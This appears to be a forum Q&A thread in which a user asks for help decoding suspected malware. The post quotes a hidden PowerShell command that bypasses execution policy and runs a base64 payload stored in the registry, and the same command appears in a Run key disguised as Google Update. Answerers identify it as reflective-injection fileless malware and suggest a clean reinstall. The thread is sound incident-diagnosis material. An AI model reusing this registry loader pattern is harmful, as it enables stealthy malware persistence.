1

I get this line by ProcessExplorer

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\ZXWNMNLIMAGAL').LOOTDA)));

Now i'm sure that can be an encoded virus when i read this from the registry :

Google Update REG_SZ
"C:\Users\michael\AppData\Local\Google\Update\GoogleUpdate.exe" /c {BE9473EA-5660-4BF7-91C3-2A2258213EE1} REG_SZ C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\ZXWNMNLIMAGAL').LOOTDA)));

So, i exported the data value LOOTDA from the registry and i copy it as text file and i upload it here

So, i'm looking for any expert in encryption and decryption to decode and decrypt this kind of virus in order to read its source code and what it could be a harmful for us !

Thank you !

Improve this question
3
  • Could you please use at least a pastebin instead of a rar file?
    – Johannes Kuhn
    Commented Mar 29, 2016 at 13:42
  • 1
    The original LOOTDA_VIRUS.txt inside the RAR is too big for pastebin. I base64 decoded it to get this: pastebin.com/y4r9JxNW It's still obfuscated but it's a start.
    – mittmemo
    Commented Mar 29, 2016 at 13:43
  • @JohannesKuhn as he said mittmemo the file is to big to paste it on pastebin !
    – Hackoo
    Commented Mar 29, 2016 at 13:51

2 Answers 2

Reset to default
3

This malware tries to avoid using files and processes by having the payload reside in the registry and using the PowerSploit methods to load code directly into memory via PowerShell commands. The Invoke-ReflectivePEInjection gives it away. It belongs to the Terkop malware family.

Improve this answer
2
  • Thanks for the explanation ! Now what can i do to get rid it from the registry ? because i tried to delete it from the registry , but strangely, I can not delete the key or renaming it, or the class while I'm adminstrator really strange ??? Remove ZXWNMNLIMAGAL impossible error during the deletion of the key.
    – Hackoo
    Commented Mar 29, 2016 at 14:11
  • 1
    I can't make specific recommendations. Use an antivirus rescue disk to boot and scan from it. It is safer to reinstall from scratch.
    – Cristian Dobre
    Commented Mar 29, 2016 at 14:24
1

You do not need

any expert in encryption and decryption

You need a base64 decoder, like this one.

Improve this answer
0

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .